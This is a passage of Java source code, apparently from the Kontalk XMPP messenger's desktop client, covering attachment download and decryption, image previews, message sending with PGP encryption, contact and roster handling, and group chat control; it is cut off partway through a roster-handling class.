message.getContent().getInAttachment().orElse(null);\n if (attachment == null) {\n LOGGER.warning(\"no attachment in message to download\");\n return;\n }\n\n HTTPFileClient client = this.clientOrNull();\n if (client == null)\n return;\n\n HTTPFileClient.ProgressListener listener = new HTTPFileClient.ProgressListener() {\n @Override\n public void updateProgress(int p) {\n attachment.setDownloadProgress(p);\n }\n };\n\n Path path;\n try {\n path = client.download(attachment.getURL(), mAttachmentDir, listener);\n } catch (KonException ex) {\n LOGGER.warning(\"download failed, URL=\"+attachment.getURL());\n mControl.onException(ex);\n return;\n }\n\n if (path.toString().isEmpty()) {\n LOGGER.warning(\"file path is empty\");\n return;\n }\n\n boolean encrypted = PGPUtils.isEncryptedFile(path);\n if (encrypted) {\n path = MediaUtils.renameFile(path,\n AttachmentManager.ENCRYPT_PREFIX + path.getFileName().toString());\n }\n\n LOGGER.info(\"successful, saved to file: \"+path);\n attachment.setFile(path.getFileName().toString(), encrypted);\n\n if (encrypted) {\n // decrypt file\n mControl.myKey().ifPresent(mk ->\n Coder.decryptAttachment(mk, attachment, message.getContact()));\n }\n\n // create preview if not in message\n if (!message.getContent().getPreview().isPresent())\n this.mayCreateImagePreview(message);\n }\n\n void savePreview(Preview preview, int messageID) {\n this.writePreview(preview.getData(), messageID, preview.getMimeType());\n }\n\n void mayCreateImagePreview(KonMessage message) {\n Attachment att = message.getContent().getAttachment().orElse(null);\n if (att == null) {\n LOGGER.warning(\"no attachment in message: \"+message);\n return;\n }\n Path path = att.getFilePath();\n\n String mime = StringUtils.defaultIfEmpty(att.getMimeType(),\n // guess from file\n MediaUtils.mimeForFile(path));\n\n if (!isImage(mime))\n return;\n\n BufferedImage image = MediaUtils.readImage(path);\n // the attachment image could be smaller than the thumbnail - nobody cares\n// if (image.getWidth() <= THUMBNAIL_DIM.width && image.getHeight() <= THUMBNAIL_DIM.height)\n// return;\n\n Image thumb = MediaUtils.scaleAsync(image,\n THUMBNAIL_DIM.width ,\n THUMBNAIL_DIM.height);\n\n String format = MediaUtils.extensionForMIME(THUMBNAIL_MIME);\n\n byte[] bytes = MediaUtils.imageToByteArray(thumb, format);\n if (bytes.length <= 0)\n return;\n\n this.writePreview(bytes, message.getID(), THUMBNAIL_MIME);\n Preview preview = new Preview(bytes, THUMBNAIL_MIME);\n LOGGER.info(\"created: \"+preview);\n\n message.setPreview(preview);\n }\n\n Path getAttachmentDir() {\n return mAttachmentDir;\n }\n\n private void writePreview(byte[] data, int messageID, String mimeType) {\n String filename = previewFilename(messageID, mimeType);\n\n File newFile = mPreviewDir.resolve(filename).toFile();\n try {\n FileUtils.writeByteArrayToFile(newFile, data);\n } catch (IOException ex) {\n LOGGER.log(Level.WARNING, \"can't save preview file\", ex);\n return;\n }\n\n LOGGER.config(\"to file: \"+newFile);\n }\n\n public static String previewFilename(int messageID, String mimeType) {\n return Integer.toString(messageID) + \"_bob.\" + MediaUtils.extensionForMIME(mimeType);\n }\n\n private HTTPFileClient clientOrNull(){\n PersonalKey key = mControl.myKey().orElse(null);\n if (key == null)\n return null;\n\n return new HTTPFileClient(key.getServerLoginKey(),\n key.getBridgeCertificate(),\n Config.getInstance().getBoolean(Config.SERV_CERT_VALIDATION));\n }\n\n @Override\n public void run() {\n while (true) {\n Task t;\n try {\n // blocking\n t = mQueue.take();\n } catch (InterruptedException ex) {\n LOGGER.log(Level.WARNING, \"interrupted while waiting \", ex);\n return;\n }\n if (t instanceof Task.UploadTask) {\n this.uploadAsync(((Task.UploadTask) t).message);\n } else if (t instanceof Task.DownloadTask) {\n this.downloadAsync(((Task.DownloadTask) t).message);\n }\n }\n }\n\n /**\n * Create a new attachment for a given file denoted by its path.\n */\n static OutAttachment createAttachmentOrNull(Path path) {\n if (!Files.isReadable(path)) {\n LOGGER.warning(\"file not readable: \"+path);\n return null;\n }\n\n String mimeType = MediaUtils.mimeForFile(path);\n if (mimeType.isEmpty()) {\n LOGGER.warning(\"no mime type for file: \"+path);\n return null;\n }\n\n return new OutAttachment(path, mimeType);\n }\n\n private static void delete(File f) {\n if (!f.delete()) {\n LOGGER.warning(\"can not delete file: \" + f);\n }\n }\n}", "public final class Control {\n private static final Logger LOGGER = Logger.getLogger(Control.class.getName());\n\n /** The current application state. */\n public enum Status {\n DISCONNECTING,\n DISCONNECTED,\n CONNECTING,\n CONNECTED,\n SHUTTING_DOWN,\n /** Connection attempt failed. */\n FAILED,\n /** Connection was lost due to error. */\n ERROR\n }\n\n /** Interval between retry connection attempts after failure. */\n private static final int RETRY_TIMER_INTERVAL = 20; // seconds\n\n private final ViewControl mViewControl;\n\n private final Database mDB;\n private final Client mClient;\n private final Model mModel;\n private final ChatStateManager mChatStateManager;\n private final AttachmentManager mAttachmentManager;\n private final RosterHandler mRosterHandler;\n private final AvatarHandler mAvatarHandler;\n private final GroupControl mGroupControl;\n\n private boolean mShuttingDown = false;\n private Timer mRetryTimer = null;\n\n public Control(Path appDir) throws KonException {\n mViewControl = new ViewControl();\n\n Config.initialize(appDir);\n\n try {\n mDB = new Database(appDir);\n } catch (KonException ex) {\n LOGGER.log(Level.SEVERE, \"can't initialize database\", ex);\n throw ex;\n }\n\n mModel = Model.setup(mDB, appDir);\n\n mClient = Client.create(this, appDir);\n mChatStateManager = new ChatStateManager(mClient);\n mAttachmentManager = AttachmentManager.create(this, mClient, appDir);\n mRosterHandler = new RosterHandler(this, mClient, mModel);\n mAvatarHandler = new AvatarHandler(mClient, mModel);\n mGroupControl = new GroupControl(this, mModel);\n }\n\n public void launch(boolean ui) {\n\n mModel.load();\n\n if (ui) {\n View view = View.create(mViewControl, mModel).orElse(null);\n if (view == null) {\n this.shutDown(true);\n return; // never reached\n }\n view.init();\n }\n\n boolean connect = Config.getInstance().getBoolean(Config.MAIN_CONNECT_STARTUP);\n if (!mModel.account().isPresent()) {\n LOGGER.info(\"no account found, asking for import...\");\n mViewControl.changed(new ViewEvent.MissingAccount(connect));\n return;\n }\n\n if (connect)\n mViewControl.connect();\n }\n\n public void shutDown(boolean exit) {\n if (mShuttingDown)\n // we were already here\n return;\n\n mShuttingDown = true;\n\n LOGGER.info(\"Shutting down...\");\n mViewControl.disconnect();\n\n mViewControl.changed(new ViewEvent.StatusChange(Status.SHUTTING_DOWN,\n EnumSet.noneOf(FeatureDiscovery.Feature.class)));\n\n mModel.onShutDown();\n try {\n mDB.close();\n } catch (RuntimeException ex) {\n LOGGER.log(Level.WARNING, \"can't close database\", ex);\n }\n\n Config.getInstance().saveToFile();\n\n if (exit) {\n LOGGER.info(\"exit\");\n System.exit(0);\n }\n }\n\n public RosterHandler getRosterHandler() {\n return mRosterHandler;\n }\n\n public AvatarHandler getAvatarHandler() {\n return mAvatarHandler;\n }\n\n ViewControl getViewControl() {\n return mViewControl;\n }\n\n /* events from network client */\n\n public void onStatusChange(Status status, EnumSet<FeatureDiscovery.Feature> features) {\n mViewControl.changed(new ViewEvent.StatusChange(status, features));\n\n Config config = Config.getInstance();\n if (status == Status.CONNECTED) {\n String[] strings = config.getStringArray(Config.NET_STATUS_LIST);\n mClient.sendUserPresence(strings.length > 0 ? strings[0] : \"\");\n // send all pending messages\n for (Chat chat: mModel.chats())\n chat.getMessages().getPending().forEach(this::sendMessage);\n\n // send public key requests for Kontalk contacts with missing key\n for (Contact contact : mModel.contacts().getAll(false, false))\n this.maySendKeyRequest(contact);\n\n // TODO check current user avatar on server and upload if necessary\n\n } else if (status == Status.DISCONNECTED || status == Status.FAILED) {\n for (Contact contact : mModel.contacts().getAll(false, false))\n contact.setOnlineStatus(Contact.Online.UNKNOWN);\n }\n\n if ((status == Status.FAILED || status == Status.ERROR)\n && config.getBoolean(Config.NET_RETRY_CONNECT)) {\n mRetryTimer = new Timer(\"Retry Timer\", true);\n TimerTask task = new TimerTask() {\n private int mCountDown = RETRY_TIMER_INTERVAL;\n\n @Override\n public void run() {\n if (mCountDown > 0) {\n mViewControl.changed(new ViewEvent.RetryTimerMessage(mCountDown--));\n } else {\n mViewControl.connect();\n }\n }\n };\n mRetryTimer.schedule(task, 0, 1000);\n }\n }\n\n public void onAuthenticated(JID jid) {\n mModel.setUserJID(jid);\n }\n\n public void onException(KonException ex) {\n mViewControl.changed(new ViewEvent.Exception(ex));\n }\n\n // TODO unused\n public void onEncryptionErrors(KonMessage message, Contact contact) {\n EnumSet<Coder.Error> errors = message.getCoderStatus().getErrors();\n if (errors.contains(Coder.Error.KEY_UNAVAILABLE) ||\n errors.contains(Coder.Error.INVALID_SIGNATURE) ||\n errors.contains(Coder.Error.INVALID_SENDER)) {\n // maybe there is something wrong with the senders key\n this.sendKeyRequest(contact);\n }\n this.onSecurityErrors(message);\n }\n\n private void onSecurityErrors(KonMessage message) {\n mViewControl.changed(new ViewEvent.SecurityError(message));\n }\n\n /**\n * All-in-one method for a new incoming message (except handling server\n * receipts): Create, save and process the message.\n */\n public void onNewInMessage(MessageIDs ids,\n Optional<Date> serverDate,\n MessageContent content) {\n LOGGER.info(\"new incoming message, \"+ids);\n\n Contact sender = this.getOrCreateContact(ids.jid).orElse(null);\n if (sender == null) {\n LOGGER.warning(\"can't get contact for message\");\n return;\n }\n\n // decrypt message now to get possible group data\n ProtoMessage protoMessage = new ProtoMessage(sender, content);\n if (protoMessage.isEncrypted()) {\n this.myKey().ifPresent(mk -> Coder.decryptMessage(mk, protoMessage));\n }\n\n // NOTE: decryption must be successful to select group chat\n GroupMetaData groupData = content.getGroupData().orElse(null);\n Chat chat = groupData != null ?\n mGroupControl.getGroupChat(groupData, sender, content.getGroupCommand()).orElse(null) :\n mModel.chats().getOrCreate(sender, ids.xmppThreadID);\n if (chat == null) {\n LOGGER.warning(\"no chat found, message lost: \"+protoMessage);\n return;\n }\n\n InMessage newMessage = mModel.createInMessage(\n protoMessage, chat, ids, serverDate).orElse(null);\n if (newMessage == null)\n return;\n\n GroupCommand com = newMessage.getContent().getGroupCommand().orElse(null);\n if (com != null) {\n if (chat instanceof GroupChat) {\n mGroupControl.getInstanceFor((GroupChat) chat)\n .onInMessage(com, sender);\n } else {\n LOGGER.warning(\"group command for non-group chat\");\n }\n }\n\n this.processContent(newMessage);\n\n mViewControl.changed(new ViewEvent.NewMessage(newMessage));\n }\n\n public void onMessageSent(MessageIDs ids) {\n OutMessage message = this.findMessage(ids).orElse(null);\n if (message == null)\n return;\n\n message.setStatus(KonMessage.Status.SENT);\n }\n\n public void onMessageReceived(MessageIDs ids, Date receivedDate) {\n OutMessage message = this.findMessage(ids).orElse(null);\n if (message == null)\n return;\n\n message.setReceived(ids.jid, receivedDate);\n }\n\n public void onMessageError(MessageIDs ids, StanzaError.Condition condition, String errorText) {\n OutMessage message = this.findMessage(ids).orElse(null);\n if (message == null)\n return ;\n message.setServerError(condition.toString(), errorText);\n }\n\n /**\n * Inform model (and view) about a received chat state notification.\n */\n public void onChatStateNotification(MessageIDs ids,\n Optional<Date> serverDate,\n ChatState chatState) {\n if (serverDate.isPresent()) {\n long diff = new Date().getTime() - serverDate.get().getTime();\n if (diff > TimeUnit.SECONDS.toMillis(10)) {\n // too old\n return;\n }\n }\n Contact contact = mModel.contacts().get(ids.jid).orElse(null);\n if (contact == null) {\n LOGGER.info(\"can't find contact with jid: \"+ids.jid);\n return;\n }\n // NOTE: assume chat states are only send for single chats\n SingleChat chat = mModel.chats().get(contact, ids.xmppThreadID).orElse(null);\n if (chat == null)\n // not that important\n return;\n\n chat.setChatState(contact, chatState);\n }\n\n public void onPGPKey(JID jid, byte[] rawKey) {\n Contact contact = mModel.contacts().get(jid).orElse(null);\n if (contact == null) {\n LOGGER.warning(\"can't find contact with jid: \"+jid);\n return;\n }\n\n this.onPGPKey(contact, rawKey);\n }\n\n void onPGPKey(Contact contact, byte[] rawKey) {\n PGPCoderKey key = PGPUtils.readPublicKey(rawKey).orElse(null);\n if (key == null) {\n LOGGER.warning(\"invalid public PGP key, contact: \"+contact);\n return;\n }\n\n if (!key.userID.contains(\"<\"+contact.getJID().string()+\">\")) {\n LOGGER.warning(\"UID does not contain contact JID\");\n return;\n }\n\n if (key.fingerprint.equals(contact.getFingerprint()))\n // same key\n return;\n\n if (contact.hasKey()) {\n // ask before overwriting\n mViewControl.changed(new ViewEvent.NewKey(contact, key));\n } else {\n setKey(contact, key);\n }\n }\n\n public void onBlockList(JID[] jids) {\n for (JID jid : jids) {\n if (jid.isFull()) {\n LOGGER.info(\"ignoring blocking of JID with resource\");\n return;\n }\n this.onContactBlocked(jid, true);\n }\n }\n\n public void onContactBlocked(JID jid, boolean blocking) {\n Contact contact = mModel.contacts().get(jid).orElse(null);\n if (contact == null) {\n LOGGER.info(\"ignoring blocking of JID not in contact list\");\n return;\n }\n\n LOGGER.info(\"set contact blocking: \"+contact+\" \"+blocking);\n contact.setBlocked(blocking);\n }\n\n public void onLastActivity(JID jid, long lastSecondsAgo, String status) {\n Contact contact = mModel.contacts().get(jid).orElse(null);\n if (contact == null) {\n LOGGER.info(\"can't find contact with jid: \"+jid);\n return;\n }\n\n if (contact.getOnline() == Contact.Online.YES) {\n // mobile clients connect only for a short time, last seen is some minutes ago but they\n // are actually online\n return;\n }\n\n if (lastSecondsAgo == 0) {\n // contact is online\n contact.setOnlineStatus(Contact.Online.YES);\n return;\n }\n\n // 'last seen' seconds to date\n LocalDateTime ldt = LocalDateTime.now().minusSeconds(lastSecondsAgo);\n Date lastSeen = Date.from(ldt.atZone(ZoneId.systemDefault()).toInstant());\n\n contact.setLastSeen(lastSeen, status);\n }\n\n /* package */\n\n /**\n * All-in-one method for a new outgoing message: Create,\n * save, process and send message.\n */\n boolean createAndSendMessage(Chat chat, MessageContent content) {\n LOGGER.config(\"chat: \"+chat+\" content: \"+content);\n\n if (!chat.isValid()) {\n LOGGER.warning(\"invalid chat\");\n return false;\n }\n\n List<Contact> contacts = chat.getValidContacts();\n if (contacts.isEmpty()) {\n LOGGER.warning(\"can't send message, no (valid) contact(s)\");\n return false;\n }\n\n OutMessage newMessage = mModel.createOutMessage(\n chat, contacts, content).orElse(null);\n if (newMessage == null)\n return false;\n\n if (newMessage.getContent().getOutAttachment().isPresent())\n mAttachmentManager.mayCreateImagePreview(newMessage);\n\n return this.sendMessage(newMessage);\n }\n\n boolean sendMessage(OutMessage message) {\n final MessageContent content = message.getContent();\n final OutAttachment attachment = content.getOutAttachment().orElse(null);\n if (attachment != null && !attachment.hasURL()) {\n // continue later...\n mAttachmentManager.queueUpload(message);\n return false;\n }\n\n final SendTask task = new SendTask(message,\n // TODO which encryption method to use?\n message.isSendEncrypted() ? Encryption.RFC3923 : Encryption.NONE,\n Config.getInstance().getBoolean(Config.NET_SEND_CHAT_STATE));\n\n if (task.encryption != Encryption.NONE) {\n // prepare encrypted content\n PersonalKey myKey = this.myKey().orElse(null);\n if (myKey == null)\n return false;\n\n String encryptedData = \"\";\n if (task.encryption == Encryption.XEP0373) {\n String stanza = KonMessageSender.getSignCryptElement(message);\n encryptedData = Coder.encryptString(myKey, message, stanza);\n } else if (task.encryption == Encryption.RFC3923) {\n // legacy\n Chat chat = message.getChat();\n if (content.getAttachment().isPresent() || content.getGroupCommand().isPresent()\n || chat.isGroupChat()) {\n String stanza = KonMessageSender.getEncryptionPayloadRFC3923(content, chat);\n encryptedData = Coder.encryptStanzaRFC3923(myKey, message, stanza);\n } else {\n encryptedData = Coder.encryptMessageRFC3923(myKey, message);\n }\n }\n\n // check also for security errors just to be sure\n if (encryptedData.isEmpty() || !message.getCoderStatus().getErrors().isEmpty()) {\n LOGGER.warning(\"encryption failed (\"+task.encryption+\")\");\n message.setStatus(KonMessage.Status.ERROR);\n this.onSecurityErrors(message);\n return false;\n } else {\n LOGGER.config(\"encryption successful (\"+task.encryption+\")\");\n }\n\n task.setEncryptedData(encryptedData);\n }\n\n final boolean sent = mClient.sendMessage(task);\n mChatStateManager.handleOwnChatStateEvent(message.getChat(), ChatState.active);\n return sent;\n }\n\n private static boolean canSendKeyRequest(Contact contact) {\n return contact.isMe() ||\n (contact.isKontalkUser() &&\n contact.getSubScription() == Contact.Subscription.SUBSCRIBED);\n }\n\n void maySendKeyRequest(Contact contact) {\n if (canSendKeyRequest(contact) && !contact.hasKey())\n this.sendKeyRequest(contact);\n }\n\n void sendKeyRequest(Contact contact) {\n if (!canSendKeyRequest(contact)) {\n LOGGER.warning(\"better do not, contact: \"+contact);\n return;\n }\n\n mClient.sendPublicKeyRequest(contact.getJID());\n }\n\n Optional<Contact> getOrCreateContact(JID jid) {\n Contact contact = mModel.contacts().get(jid).orElse(null);\n if (contact != null)\n return Optional.of(contact);\n\n return this.createContact(jid, \"\");\n }\n\n Optional<Contact> createContact(JID jid, String name) {\n return this.createContact(jid, name, XMPPUtils.isKontalkJID(jid));\n }\n\n void sendPresenceSubscription(JID jid, Client.PresenceCommand command) {\n mClient.sendPresenceSubscription(jid, command);\n }\n\n Optional<PersonalKey> myKey() {\n Optional<PersonalKey> myKey = mModel.account().getPersonalKey();\n if (!myKey.isPresent()) {\n LOGGER.log(Level.WARNING, \"can't get personal key\");\n }\n return myKey;\n }\n\n /* private */\n\n private Optional<Contact> createContact(JID jid, String name, boolean encrypted) {\n if (!mClient.isConnected()) {\n // workaround: create only if contact can be added to roster\n // this is a general problem with XMPPs roster: no real sync possible\n LOGGER.warning(\"can't create contact, not connected: \"+jid);\n return Optional.empty();\n }\n\n if (name.isEmpty() && !jid.isHash()){\n name = jid.local();\n }\n\n Contact newContact = mModel.contacts().create(jid, name).orElse(null);\n if (newContact == null) {\n LOGGER.warning(\"can't create new contact\");\n // TODO tell view\n return Optional.empty();\n }\n\n newContact.setEncrypted(encrypted);\n\n this.addToRoster(newContact);\n\n this.maySendKeyRequest(newContact);\n\n return Optional.of(newContact);\n }\n\n private void decryptAndProcess(InMessage message) {\n if (!message.isEncrypted()) {\n LOGGER.info(\"message not encrypted\");\n } else {\n this.myKey().ifPresent(mk -> Coder.decryptMessage(mk, message));\n }\n\n this.processContent(message);\n }\n\n private void setKey(Contact contact, PGPCoderKey key) {\n for (Contact c: mModel.contacts().getAll(true, true)) {\n if (key.fingerprint.equals(c.getFingerprint())) {\n LOGGER.warning(\"key already set, setting for: \"+contact+\" set for: \"+c);\n }\n }\n\n contact.setKey(key.rawKey, key.fingerprint);\n\n // enable encryption without asking\n contact.setEncrypted(true);\n\n // if not set, use uid in key for contact name\n if (contact.getName().isEmpty() && key.userID != null) {\n LOGGER.info(\"full UID in key: '\" + key.userID + \"'\");\n String contactName = PGPUtils.parseUID(key.userID)[0];\n if (!contactName.isEmpty())\n contact.setName(contactName);\n }\n }\n\n /**\n * Download attachment for incoming message if present.\n */\n private void processContent(InMessage message) {\n if (!message.getCoderStatus().getErrors().isEmpty()) {\n this.onSecurityErrors(message);\n }\n\n message.getContent().getPreview()\n .ifPresent(p -> mAttachmentManager.savePreview(p, message.getID()));\n\n if (message.getContent().getInAttachment().isPresent()) {\n this.download(message);\n }\n }\n\n private void download(InMessage message){\n mAttachmentManager.queueDownload(message);\n }\n\n private void addToRoster(Contact contact) {\n if (contact.isMe())\n return;\n\n if (contact.isDeleted()) {\n LOGGER.warning(\"you don't want to add a deleted contact: \" + contact);\n return;\n }\n\n String contactName = contact.getName();\n String rosterName =\n Config.getInstance().getBoolean(Config.NET_SEND_ROSTER_NAME) &&\n !contactName.isEmpty() ?\n contactName :\n contact.getJID().local();\n boolean succ = mClient.addToRoster(contact.getJID(), rosterName);\n if (!succ)\n LOGGER.warning(\"can't add contact to roster: \"+contact);\n }\n\n private void removeFromRoster(JID jid) {\n boolean succ = mClient.removeFromRoster(jid);\n if (!succ) {\n LOGGER.warning(\"could not remove contact from roster\");\n }\n }\n\n private Optional<OutMessage> findMessage(MessageIDs ids) {\n // get chat by jid -> thread ID -> message id\n Contact contact = mModel.contacts().get(ids.jid).orElse(null);\n if (contact != null) {\n Chat chat = mModel.chats().get(contact, ids.xmppThreadID).orElse(null);\n if (chat != null) {\n Optional<OutMessage> optM = chat.getMessages().getLast(ids.xmppID);\n if (optM.isPresent())\n return optM;\n }\n }\n\n // TODO group chats\n\n // fallback: search in every chat\n LOGGER.info(\"fallback search, IDs: \"+ids);\n for (Chat chat: mModel.chats()) {\n Optional<OutMessage> optM = chat.getMessages().getLast(ids.xmppID);\n if (optM.isPresent())\n return optM;\n }\n\n LOGGER.warning(\"can't find message by IDs: \"+ids);\n return Optional.empty();\n }\n\n /* commands from view */\n\n public class ViewControl extends Observable {\n\n public void shutDown() {\n Control.this.shutDown(true);\n }\n\n public void connect() {\n this.connect(new char[0]);\n }\n\n public void connect(char[] password) {\n if (mRetryTimer != null)\n mRetryTimer.cancel();\n\n PersonalKey key = this.keyOrNull(password);\n if (key == null)\n return;\n\n mClient.connect(key);\n }\n\n public void disconnect() {\n // this should not be necessary\n if (mRetryTimer != null)\n mRetryTimer.cancel();\n\n mChatStateManager.imGone();\n mClient.disconnect();\n }\n\n public void setStatusText(String status) {\n Config conf = Config.getInstance();\n // must be editable\n List<String> stats = new LinkedList<>(Arrays.asList(\n conf.getStringArray(Config.NET_STATUS_LIST)));\n\n if (!stats.isEmpty() && stats.get(0).equals(status))\n // did not change\n return;\n\n stats.remove(status);\n stats.add(0, status);\n\n if (stats.size() > 20)\n stats = stats.subList(0, 20);\n\n conf.setProperty(Config.NET_STATUS_LIST, stats.toArray());\n mClient.sendUserPresence(status);\n }\n\n public void setAccountPassword(char[] oldPass, char[] newPass) throws KonException {\n mModel.account().setPassword(oldPass, newPass);\n }\n\n public Path getAttachmentDir() {\n return mAttachmentManager.getAttachmentDir();\n }\n\n /* contact */\n\n public void createContact(JID jid, String name, boolean encrypted) {\n Control.this.createContact(jid, name, encrypted);\n }\n\n public void deleteContact(Contact contact) {\n JID jid = contact.getJID();\n mModel.contacts().delete(contact);\n\n Control.this.removeFromRoster(jid);\n }\n\n public void sendContactBlocking(Contact contact, boolean blocking) {\n mClient.sendBlockingCommand(contact.getJID(), blocking);\n }\n\n public void changeJID(Contact contact, JID newJID) {\n JID oldJID = contact.getJID();\n\n if (oldJID.equals(newJID))\n return;\n\n boolean succ = mModel.contacts().changeJID(contact, newJID);\n if (!succ)\n return;\n\n Control.this.removeFromRoster(oldJID);\n Control.this.addToRoster(contact);\n }\n\n public void changeName(Contact contact, String name) {\n if (Config.getInstance().getBoolean(Config.NET_SEND_ROSTER_NAME))\n // TODO care about success?\n mClient.updateRosterEntry(contact.getJID(), name);\n\n contact.setName(name);\n }\n\n public void requestKey(Contact contact) {\n Control.this.sendKeyRequest(contact);\n }\n\n public void acceptKey(Contact contact, PGPCoderKey key) {\n setKey(contact, key);\n }\n\n public void declineKey(Contact contact) {\n this.sendContactBlocking(contact, true);\n // TODO remember that a key was not accepted\n }\n\n public void sendSubscriptionResponse(Contact contact, boolean accept) {\n Control.this.sendPresenceSubscription(contact.getJID(),\n accept ?\n Client.PresenceCommand.GRANT :\n Client.PresenceCommand.DENY);\n }\n\n public void sendSubscriptionRequest(Contact contact) {\n Control.this.sendPresenceSubscription(contact.getJID(),\n Client.PresenceCommand.REQUEST);\n }\n\n public void createRosterEntry(Contact contact) {\n Control.this.addToRoster(contact);\n }\n\n /* chats */\n\n public Chat getOrCreateSingleChat(Contact contact) {\n return mModel.chats().getOrCreate(contact);\n }\n\n public Optional<GroupChat> createGroupChat(List<Contact> contacts, String subject) {\n // user is part of the group\n List<ProtoMember> members = contacts.stream()\n .map(ProtoMember::new)\n .collect(Collectors.toList());\n Contact me = mModel.contacts().getMe().orElse(null);\n if (me == null) {\n LOGGER.warning(\"can't find myself\");\n return Optional.empty();\n }\n members.add(new ProtoMember(me, Member.Role.OWNER));\n\n GroupChat chat = mModel.chats().createNew(members,\n GroupControl.newKonGroupData(me.getJID()),\n subject);\n\n mGroupControl.getInstanceFor(chat).onCreate();\n return Optional.of(chat);\n }\n\n public void deleteChat(Chat chat) {\n if (chat instanceof GroupChat) {\n boolean succ = mGroupControl.getInstanceFor((GroupChat) chat).beforeDelete();\n if (!succ)\n return;\n }\n\n mModel.chats().delete(chat);\n }\n\n public void leaveGroupChat(GroupChat chat) {\n mGroupControl.getInstanceFor(chat).onLeave();\n }\n\n public void setChatSubject(GroupChat chat, String subject) {\n mGroupControl.getInstanceFor(chat).onSetSubject(subject);\n }\n\n public void handleOwnChatStateEvent(Chat chat, ChatState state) {\n mChatStateManager.handleOwnChatStateEvent(chat, state);\n }\n\n /* messages */\n\n public void decryptAgain(InMessage message) {\n Control.this.decryptAndProcess(message);\n }\n\n public void downloadAgain(InMessage message) {\n Control.this.download(message);\n }\n\n public void sendText(Chat chat, String text) {\n this.sendNewMessage(chat, text, Paths.get(\"\"));\n }\n\n public void sendAttachment(Chat chat, Path file){\n this.sendNewMessage(chat, \"\", file);\n }\n\n public void sendAgain(OutMessage outMessage) {\n Control.this.sendMessage(outMessage);\n }\n\n /* avatar */\n\n public void setUserAvatar(BufferedImage image) {\n Avatar.UserAvatar newAvatar = Avatar.UserAvatar.set(image);\n byte[] avatarData = newAvatar.imageData().orElse(null);\n if (avatarData == null)\n return;\n\n mClient.publishAvatar(newAvatar.getID(), avatarData);\n }\n\n public void unsetUserAvatar(){\n if (!Avatar.UserAvatar.get().isPresent()) {\n LOGGER.warning(\"no user avatar set\");\n return;\n }\n\n boolean succ = mClient.deleteAvatar();\n if (!succ)\n // TODO\n return;\n\n Avatar.UserAvatar.remove();\n }\n\n public void setCustomContactAvatar(Contact contact, BufferedImage image) {\n // overwriting file here!\n contact.setCustomAvatar(new Avatar.CustomAvatar(contact.getID(), image));\n }\n\n public void unsetCustomContactAvatar(Contact contact) {\n if (!contact.hasCustomAvatarSet()) {\n LOGGER.warning(\"no custom avatar set, \"+contact);\n return;\n }\n\n contact.deleteCustomAvatar();\n }\n\n /* private */\n\n private void sendNewMessage(Chat chat, String text, Path file) {\n Attachment attachment = null;\n if (!file.toString().isEmpty()) {\n attachment = AttachmentManager.createAttachmentOrNull(file);\n if (attachment == null)\n return;\n }\n MessageContent content =\n attachment == null ?\n MessageContent.plainText(text) :\n MessageContent.outgoing(text, attachment);\n\n Control.this.createAndSendMessage(chat, content);\n }\n\n private PersonalKey keyOrNull(char[] password) {\n Account account = mModel.account();\n PersonalKey key = account.getPersonalKey().orElse(null);\n if (key != null)\n return key;\n\n if (password.length == 0) {\n if (account.isPasswordProtected()) {\n this.changed(new ViewEvent.PasswordSet());\n return null;\n }\n\n password = account.getPassword();\n }\n\n try {\n return account.load(password);\n } catch (KonException ex) {\n // something wrong with the account, tell view\n Control.this.onException(ex);\n return null;\n }\n }\n\n void changed(ViewEvent event) {\n this.setChanged();\n this.notifyObservers(event);\n }\n\n // TODO\n public AccountImporter createAccountImporter() {\n return new AccountImporter(mModel.account());\n }\n }\n}", "public final class RosterHandler {\n private static final Logger LOGGER = Logger.getLogger(RosterHandler.class.getName());\n\n private final Control mControl;\n private final Client mClient;\n private final Model mModel;\n\n private static final List<String> KEY_SERVERS = Collections.singletonList(\n \"pgp.mit.edu\"\n // TODO: add CA for this\n //\"pool.sks-keyservers.net\"\n );\n\n public enum Error {\n SERVER_NOT_FOUND\n }\n\n RosterHandler(Control control, Client client, Model model) {\n mControl = control;\n mClient = client;\n mModel = model;\n }\n\n public void onLoaded(List<ClientUtils.KonRosterEntry> entries) {\n for (ClientUtils.KonRosterEntry entry: entries)\n this.onEntryAdded(entry);\n\n // check for deleted entries\n List<JID> rosterJIDs = entries.stream().map(e -> e.jid).collect(Collectors.toList());\n for (Contact contact : mModel.contacts().getAll(false, true))\n if (!rosterJIDs.contains(contact.getJID()))\n this.onEntryDeleted(contact.getJID());\n }\n\n public void onEntryAdded(ClientUtils.KonRosterEntry entry) {\n if (mModel.contacts().contains(entry.jid)) {\n this.onEntryUpdate(entry);\n return;\n }\n\n LOGGER.info(\"adding contact from roster, jid: \"+entry.jid);\n\n String name = entry.name.equals(entry.jid.local()) && entry.jid.isHash() ?\n // this must be the hash string, don't use it as name\n \"\" :\n entry.name;\n\n Contact newContact = mControl.createContact(entry.jid, name).orElse(null);\n if (newContact == null)\n return;\n\n newContact.setSubscriptionStatus(entry.subscription);\n\n mControl.maySendKeyRequest(newContact);\n\n if (entry.subscription == Contact.Subscription.UNSUBSCRIBED)\n mControl.sendPresenceSubscription(entry.jid, Client.PresenceCommand.REQUEST);\n }\n\n public void onEntryDeleted(JID jid) {\n // NOTE: also called on rename\n Contact contact = mModel.contacts().get(jid).orElse(null);\n if (contact == null) {\n LOGGER.info(\"can't find contact with jid: \"+jid);\n return;\n }\n\n // TODO detect if contact account still exists\n\n mControl.getViewControl().changed(new ViewEvent.ContactDeleted(contact));\n }\n\n // NOTE: also called for every contact in roster on every (re-)connect\n public void onEntryUpdate(ClientUtils.KonRosterEntry entry) {\n Contact contact = mModel.contacts().get(entry.jid).orElse(null);\n if (contact == null) {\n LOGGER.info(\"can't find contact with jid: \"+entry.jid);\n return;\n }\n // subscription may have changed\n contact.setSubscriptionStatus(entry.subscription);\n\n // maybe subscribed now\n mControl.maySendKeyRequest(contact);\n\n // name may have changed\n if (contact.getName().isEmpty() && !entry.name.equals(entry.jid.local()))\n contact.setName(entry.name);\n\n if (contact.getSubScription() == Subscription.SUBSCRIBED &&\n (contact.getOnline() == Contact.Online.UNKNOWN ||\n contact.getOnline() == Contact.Online.NO))\n mClient.sendLastActivityRequest(contact.getJID());\n }\n\n public void onSubscriptionRequest(JID jid, byte[] rawKey) {\n Contact contact = mModel.contacts().get(jid).orElse(null);\n if (contact == null)\n return;\n\n if (Config.getInstance().getBoolean(Config.NET_AUTO_SUBSCRIPTION)) {\n mControl.sendPresenceSubscription(jid, Client.PresenceCommand.GRANT);\n } else {\n // ask user\n mControl.getViewControl().changed(new ViewEvent.SubscriptionRequest(contact));\n }\n\n if 